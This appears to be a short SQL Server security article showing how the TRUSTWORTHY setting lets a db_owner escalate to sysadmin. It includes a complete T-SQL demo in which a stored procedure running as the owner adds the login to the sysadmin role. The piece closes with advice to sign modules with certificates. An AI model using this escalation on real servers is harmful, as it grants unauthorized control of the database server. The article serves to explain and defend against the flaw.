Trustworthy database setting is an easy solution for some problems in the server, especially cross database access. However, this setting has also a security problem in some scenarios.
The scenario that has a security break is the following:
- One or more databases are owned by a user with ‘sysadmin’ rights. If the databases were created by a ‘sysadmin’ and the owner didn’t change after that this will happen
- Some logins that aren’t ‘sysadmin’ were included in ‘db_owner’ database role of some databases, but not all.
- The trustworthy setting is enabled for these databases, owned by ‘sysadmin’ and with one or more logins in ‘db_owner’ database role.
The security break: The users in ‘db_owner’ database role can include themselves in System Administrators server role and take control of the server.
Let’s see an example.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 |
Create login sAdmin with password='Pa$$w0rd', check_policy=OFF go alter server role sysadmin add member sAdmin go execute as login='sAdmin' -- A sysadmin creates the database and becomes the owner create database MyDatabase revert Create login dbAdmin with password='Pa$$w0rd', -- This user isn't a sysadmin check_policy=OFF go use MyDatabase go create user usAdmin for login dbAdmin go Alter role db_owner -- dbAdmin is in database role db_owner add member usAdmin go alter database MyDatabase set -- Trustworthy setting is enabled in this database trustworthy on execute as login='dbAdmin' -- The security break go create procedure TakeControl with execute as owner -- This will run as sysadmin, but only if trustworthy is enabled as alter server role sysadmin add member dbAdmin go exec TakeControl select is_srvrolemember('sysadmin','dbadmin') -- now the login is a sysadmin revert -- Cleaning the demo environment use master go drop database MyDatabase drop login sAdmin drop login dbAdmin |
Unless you are completely sure this security break will not be a problem for your environment, you shouldn’t enable trustworthy. Instead enabling trustworthy you can use certificates to sign modules such as stored procedures and achieve the same result with more security.
Load comments